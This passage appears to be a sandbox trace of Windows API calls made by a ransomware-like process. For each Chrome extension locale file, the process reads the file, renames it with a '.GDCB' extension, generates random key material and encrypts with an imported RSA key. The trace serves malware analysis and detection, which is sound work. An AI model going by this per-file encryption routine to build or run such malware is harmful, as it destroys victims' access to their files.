CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.202] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.205] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.207] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0271.215] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.221] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.gdcb")) returned 1 [0271.226] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.231] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.231] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.231] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.236] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.236] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.236] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.236] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.238] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799260) returned 1 [0271.238] CryptGetKeyParam (in: hKey=0x6799260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.238] CryptEncrypt (in: hKey=0x6799260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.239] GetLastError () returned 0x0 [0271.239] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.239] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.240] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67992e0) returned 1 [0271.240] CryptGetKeyParam (in: hKey=0x67992e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.240] CryptEncrypt (in: hKey=0x67992e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.241] GetLastError () returned 0x0 [0271.241] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.241] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.242] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.245] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.247] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc6, lpOverlapped=0x0) returned 1 [0271.254] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.260] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.gdcb")) returned 1 [0271.266] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.270] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.271] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.271] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.271] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0271.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.275] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.275] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.275] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.277] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67990e0) returned 1 [0271.277] CryptGetKeyParam (in: hKey=0x67990e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.277] CryptEncrypt (in: hKey=0x67990e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.278] GetLastError () returned 0x0 [0271.278] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.278] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.279] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799820) returned 1 [0271.279] CryptGetKeyParam (in: hKey=0x6799820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.279] CryptEncrypt (in: hKey=0x6799820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.280] GetLastError () returned 0x0 [0271.280] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.280] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.281] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.284] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.286] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x183, lpOverlapped=0x0) returned 1 [0271.294] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.299] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.gdcb")) returned 1 [0271.304] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.307] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.309] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.309] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.309] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.309] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.311] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.313] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.313] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.313] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0271.316] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799420) returned 1 [0271.316] CryptGetKeyParam (in: hKey=0x6799420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.316] CryptEncrypt (in: hKey=0x6799420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.316] GetLastError () returned 0x0 [0271.316] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.316] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.318] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67992a0) returned 1 [0271.318] CryptGetKeyParam (in: hKey=0x67992a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.318] CryptEncrypt (in: hKey=0x67992a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.318] GetLastError () returned 0x0 [0271.318] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.318] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.319] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.322] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.324] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x1c3, lpOverlapped=0x0) returned 1 [0271.333] VirtualAlloc (lpAddress=0x0, dwSize=0x1d0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.339] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.gdcb")) returned 1 [0271.344] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.347] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.349] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.349] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.349] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.349] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.354] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.354] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.354] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.355] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.357] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799460) returned 1 [0271.357] CryptGetKeyParam (in: hKey=0x6799460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.357] CryptEncrypt (in: hKey=0x6799460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.357] GetLastError () returned 0x0 [0271.357] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.357] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.359] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67997a0) returned 1 [0271.359] CryptGetKeyParam (in: hKey=0x67997a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.359] CryptEncrypt (in: hKey=0x67997a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.359] GetLastError () returned 0x0 [0271.359] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.359] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.361] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.363] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.366] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x12c, lpOverlapped=0x0) returned 1 [0271.374] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.394] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.gdcb")) returned 1 [0271.399] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.404] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.404] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.404] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.404] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.406] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.409] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.409] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.409] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.411] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799120) returned 1 [0271.411] CryptGetKeyParam (in: hKey=0x6799120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.411] CryptEncrypt (in: hKey=0x6799120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.411] GetLastError () returned 0x0 [0271.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.411] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.413] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799520) returned 1 [0271.414] CryptGetKeyParam (in: hKey=0x6799520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.414] CryptEncrypt (in: hKey=0x6799520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, 